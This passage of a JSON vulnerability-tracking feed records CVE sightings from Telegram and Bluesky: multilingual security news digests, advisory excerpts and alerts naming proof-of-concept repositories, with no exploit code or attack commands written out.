\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 NGINX.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. F5 \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n4. \u0412 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 \u0418\u0411-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Trend Micro, ESET, Tenable \u0438 Tanium \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \n\nTenable\u00a0\u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Tenable Agent. CVE-2026-15265 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430.\n\nESET\u00a0\u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 Inspect Connector \u0434\u043b\u044f Windows, \u0430 Tanium\u00a0- \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 DoS, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0435\u0439 Tanium Server.\n\nTrend Micro\u00a0\u043e\u0431\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Cleaner One Pro \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b Trend Micro, \u0438\u043c\u0435\u044e\u0449\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n5. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Bitdefender \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0442\u0440\u0438 \u043c\u0435\u0442\u043e\u0434\u0430 \u0430\u0442\u0430\u043a, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0443 \u0441\u0441\u044b\u043b\u043e\u043a Windows \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 EDR.\n\n6. Positive Technologies \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u0441\u0432\u043e\u0439 \u0438\u044e\u043b\u044c\u0441\u043a\u0438\u0439 \u00ab\u0412 \u0442\u0440\u0435\u043d\u0434\u0435 VM\u00bb, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 \u0432 \u043d\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Exchange Server (CVE-2026-42897, CVSS 8,1)\n\n7. \u041d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u044b\u043b\u0435\u0441\u043e\u0441\u0435 Shark \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u044b\u043b\u0435\u0441\u043e\u0441\u044b \u0432 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430\u0445 \u0432\u0441\u0435\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430.\n\n8. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u0432 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 Node (npm) \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043f\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 AsyncAPI (\u0441\u0443\u043c\u043c\u0430\u0440\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u043f\u0440\u0435\u0432\u044b\u0441\u0438\u043b\u043e 2,25 \u043c\u043b\u043d.), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u0440\u043e\u044f\u043d \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.", "creation_timestamp": "2026-07-17T00:00:49.195136Z"}, {"uuid": "13b69882-7e60-4149-9ebe-ae723f37ed04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/93701", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20896\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a XaocZenon\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-16 13:59:08\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nthis is a modified POC of rz1027 for CVE-2026-20896\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-17T00:00:51.999827Z"}, {"uuid": "ce46b954-134b-4339-bc7d-913f60525d4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://t.me/GithubRedTeam/98516", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20079\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a CyberAuth\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-17 18:39:16\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPython proof of concept for CVE-2026-20079 affecting Cisco Secure Firewall Management Center.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-22T19:00:07.207720Z"}, {"uuid": "ce0ee1ba-3f4d-4a0f-8ec9-4807a7dd0052", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20217", "type": "seen", "source": "https://t.me/GithubRedTeam/98533", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20217\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a securifera\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-17 22:22:41\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nZendTo unauthenticated ClamAV CVE-2026-20217 RCE and default-profile root escalation reproduction\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-22T19:00:07.361549Z"}, {"uuid": "3e2959bd-505b-4c5d-8dae-5b6904ae5e04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20687", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/384", "content": "CVE-2026-20687\n\nA use after free issue was addressed with improved memory management. This issue is fixed in iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4, macOS Sequoia 15.7.5, macOS Tahoe 26.4, tvOS 26.4, watchOS 26.4. An app may be able to cause unexpected system termination or write kernel memory.\n\nGitHub Link:\nhttps://github.com/enfilade-labs/CVE-2026-20687-AppleJPEGDriver-UAF", "creation_timestamp": "2026-08-28T00:00:31.973742Z"}, {"uuid": "5bb76cac-6251-427d-a04b-a14a14add75d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mqswxbzsby2v", "content": "Top 3 CVE for last 7 days:\nCVE-2026-15409: 18 interactions\nCVE-2026-44747: 14 interactions\nCVE-2026-20262: 13 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-46817: 5 interactions\nCVE-2026-20253: 4 interactions\nCVE-2026-42533: 4 interactions\n", "creation_timestamp": "2026-07-17T04:45:41.080035Z"}, {"uuid": "478853d0-fa6f-4676-8b6b-d421037dd5b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mqswxbzsby2v", "content": "Top 3 CVE for last 7 days:\nCVE-2026-15409: 18 interactions\nCVE-2026-44747: 14 interactions\nCVE-2026-20262: 13 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-46817: 5 interactions\nCVE-2026-20253: 4 interactions\nCVE-2026-42533: 4 interactions\n", "creation_timestamp": "2026-07-17T04:45:41.158216Z"}, {"uuid": "6eebcd0d-55f2-482e-b593-c960ead640b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mqsxvn2d6c2y", "content": "Daily IT Security Digest \u2014 2026-07-17\nCVE-2026-20262, a zero-day vulnerability in Cisco Catalyst SD-WAN Manager, is actively being exploited. Attackers with write access can escalate to root privileges via crafted HTTP requests. Organizations running SD-WAN Manager should patch immediately and", "creation_timestamp": "2026-07-17T05:02:39.128165Z"}, {"uuid": "075fcc92-dfd2-48e6-ac92-586364c8d766", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "published-proof-of-concept", "source": "Telegram/CcRo1gMZwWwNofZNwYOQ3d2hQNvA4xaZ28UNdx64Ma-ZFGg", "content": "", "creation_timestamp": "2026-08-31T00:00:43.913685Z"}, {"uuid": "882de634-a785-4b6e-b839-569520ec50ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mquszno6a22s", "content": "\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001Splunk Enterprise\u306e\u8106\u5f31\u6027\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30ea\u30b9\u30c8\u306b\u8ffd\u52a0\u3057\u3001\u65e5\u66dc\u307e\u3067\u306b\u4fee\u6b63\u3059\u308b\u3088\u3046\u5404\u6a5f\u95a2\u306b\u4fc3\u3057\u305f\u3002\n\n\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09 \u306f\u3001Splunk Enterprise\u306e\u8106\u5f31\u6027\uff08CVE-2026-20253\u3001CVSS\u30b9\u30b3\u30a29.8\uff09\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\n\nCVE-2026-20253\u306f\u3001Splunk Enterprise\u306ePostgreSQL\u30b5\u30a4\u30c9\u30ab\u30fc\u30b5\u30fc\u30d3\u30b9\u306b\u304a\u3051\u308b\u8a8d\u8a3c\u306e\u4e0d\u5099\u306b\u3088\u308b\u8106\u5f31\u6027\u3067\u3042\u308a\u3001\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a...", "creation_timestamp": "2026-07-17T22:40:47.476611Z"}, {"uuid": "4088baa2-4d5f-411e-941c-012b8c0ac4f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "published-proof-of-concept", "source": "Telegram/TB3sUB_uu5WF_jRq8K66TTyRIaSSs7xyuOpmS1TasPtzRF4", "content": "", "creation_timestamp": "2026-07-18T00:00:10.050647Z"}, {"uuid": "9b07067e-76d3-4763-974e-3f2c5dd9fb95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "published-proof-of-concept", "source": "Telegram/Ar6VYUXodzKxiDS_suM4v32kyWX2cdNc6MzI7nJflxEqdTk", "content": "", "creation_timestamp": "2026-07-18T00:00:26.512074Z"}, {"uuid": "90c31f31-094e-496d-a4c3-600486154646", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "published-proof-of-concept", "source": "Telegram/CnEki5hq44Oxm0CoGoLc7kB7HOehG1kiHXYcZhaPM81wL2c", "content": "", "creation_timestamp": "2026-07-18T00:00:22.741751Z"}, {"uuid": "f15361f7-9807-4b14-8df6-c15309c7c37f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "published-proof-of-concept", "source": "Telegram/7rIIDruJxEl38qBzoHyGM9oWQAxjhN2Km_TAbaElw9hJXAI", "content": "", "creation_timestamp": "2026-07-18T00:00:22.823375Z"}, {"uuid": "5f484bbb-79da-425a-99f8-ed9fb93eb55e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/wihZfhaQT2qHw0wLZ8sk5tSU7nS9hHHdvUYjPR1ZKZ5oBq0", "content": "", "creation_timestamp": "2026-07-18T01:00:04.180641Z"}, {"uuid": "2b9fcffd-74af-4451-a9d6-491da40f149f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20251", "type": "published-proof-of-concept", "source": "Telegram/MrO6V-Nf2RKKH_1IyOTTVmBid2k-chlt5XNWWiXZdJ3An5Q", "content": "", "creation_timestamp": "2026-07-18T03:00:03.667512Z"}, {"uuid": "04ee4723-375c-484c-8484-b11e68ab610e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/423", "content": "CVE-2026-20182\n\nMay 2026: This security advisory provides the details and fix information for a vulnerability that was discovered and fixed after the  was disclosed in February 2026. This new advisory is for a new vulnerability in the control connection handshaking. The  section of this advisory includes Show Control Connections guidance to help with system checks. \n\nA vulnerability in the peering authentication in Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, and Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system.\nThis vulnerability exists because the peering authentication mechanism in an affected system is not working properly. An attacker could exploit this vulnerability by sending crafted requests to the affected syst...", "creation_timestamp": "2026-08-28T00:00:33.470190Z"}, {"uuid": "f39f275f-9597-4096-b530-ecc472b63219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "published-proof-of-concept", "source": "Telegram/FdcDblJgpr4Bk1hzBo52CEMZWjwW5t7MZ6W5ZLgqcoUP2nQ", "content": "", "creation_timestamp": "2026-07-18T05:00:03.988732Z"}, {"uuid": "b0d2d690-a108-4f58-bc73-a0e676e6f34f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20310", "type": "published-proof-of-concept", "source": "Telegram/EP2u8OGan0flSGLl45h1b-LiiKVRCNQN1i62iKzOsOD7LIQ", "content": "", "creation_timestamp": "2026-08-28T00:00:35.212598Z"}, {"uuid": "37d9cafd-0a7e-4f10-97c4-7647cfee8963", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20304", "type": "published-proof-of-concept", "source": "Telegram/EP2u8OGan0flSGLl45h1b-LiiKVRCNQN1i62iKzOsOD7LIQ", "content": "", "creation_timestamp": "2026-08-28T00:00:35.351962Z"}, {"uuid": "0f20a166-87fd-4b4b-994c-f3920036eb5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20312", "type": "published-proof-of-concept", "source": "Telegram/EP2u8OGan0flSGLl45h1b-LiiKVRCNQN1i62iKzOsOD7LIQ", "content": "", "creation_timestamp": "2026-08-28T00:00:35.499301Z"}, {"uuid": "6c19f501-07d6-4f61-b39c-598387680e9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20303", "type": "published-proof-of-concept", "source": "Telegram/EP2u8OGan0flSGLl45h1b-LiiKVRCNQN1i62iKzOsOD7LIQ", "content": "", "creation_timestamp": "2026-08-28T00:00:35.647506Z"}, {"uuid": "e629243d-6cd7-4a26-987f-a87214e4aa65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20313", "type": "published-proof-of-concept", "source": "Telegram/EP2u8OGan0flSGLl45h1b-LiiKVRCNQN1i62iKzOsOD7LIQ", "content": "", "creation_timestamp": "2026-08-28T00:00:35.742753Z"}, {"uuid": "dda9a431-16e7-427f-9f83-447f58b625ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://t.me/cve0day/293", "content": "CVE-2026-20643\n\nGitHub Link:\nhttps://github.com/zeroxjf/WebKit-NavigationAPI-SOP-Bypass", "creation_timestamp": "2026-08-28T00:00:41.036172Z"}, {"uuid": "4a049c46-2118-4ba1-9566-f050b4fc85b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/Xr3h-QZd7nLUl6cH2ZkYAyeJW2qp_-enFsFogeXUHPpGcg", "content": "", "creation_timestamp": "2026-07-18T13:00:04.487472Z"}, {"uuid": "7b9ebcf1-023f-4722-bf17-6f0db04455cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "Telegram/y3zGX0JOuFUX-CVdQz3E7YcPAqHfILtSGhi4TBQ3y6So_A", "content": "", "creation_timestamp": "2026-07-18T13:00:04.784252Z"}, {"uuid": "b60cf9dc-e38b-4b8d-9214-e1afb9e797c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "Telegram/C5fLo65erdhCp5f8SKvnCw5W1GQX3j3sCYgaGauZMs2t1Q", "content": "", "creation_timestamp": "2026-07-18T13:00:04.858566Z"}, {"uuid": "376ef24d-14c2-4bab-b48e-2ea039c4254a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://t.me/VulnerabilityNews/41432", "content": "Apple pushes first Background Security Improvements update to fix WebKit flaw\n\nApple has released its first Background Security Improvements update to fix a WebKit flaw tracked as CVE-2026-20643 on iPhones, iPads, and Macs without requiring a full operating system upgrade. [...]\nhttps://www.bleepingcomputer.com/news/security/apple-pushes-first-background-security-improvements-update-to-fix-webkit-flaw/", "creation_timestamp": "2026-07-18T13:00:04.986966Z"}, {"uuid": "b732c0fe-efa2-423e-8d4f-a89876aa6ed4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/VulnerabilityNews/41467", "content": "CISA orders feds to patch max-severity Cisco flaw by Sunday\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has ordered federal agencies to patch a maximum-severity vulnerability, CVE-2026-20131, in Cisco Secure Firewall Management Center (FMC) by Sunday,\u00a0March 22. [...]\nhttps://www.bleepingcomputer.com/news/security/cisa-orders-feds-to-patch-max-severity-cisco-flaw-by-sunday/", "creation_timestamp": "2026-07-18T14:00:04.818291Z"}, {"uuid": "5e6f4384-e7a4-442b-a410-0fc32f0927d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2053", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqwniplquh2m", "content": "\ud83d\udccc CVE-2026-2053 - The WSO2 API Manager's message flow component, when processing WS-Addressing headers, does not sufficiently validate or restrict user-controlled input... https://www.cyberhub.blog/cves/CVE-2026-2053", "creation_timestamp": "2026-07-18T16:07:07.801433Z"}, {"uuid": "a9688c97-1bc1-4787-9671-8b8bd5278b77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2053", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mqwnzruxze2r", "content": "\ud83d\udccc CVE-2026-2053 - The WSO2 API Manager's message flow component, when processing WS-Addressing headers, does not sufficiently validate or restrict user-controlled input... https://www.potatohub.blog/cves/CVE-2026-2053", "creation_timestamp": "2026-07-18T16:16:39.948110Z"}, {"uuid": 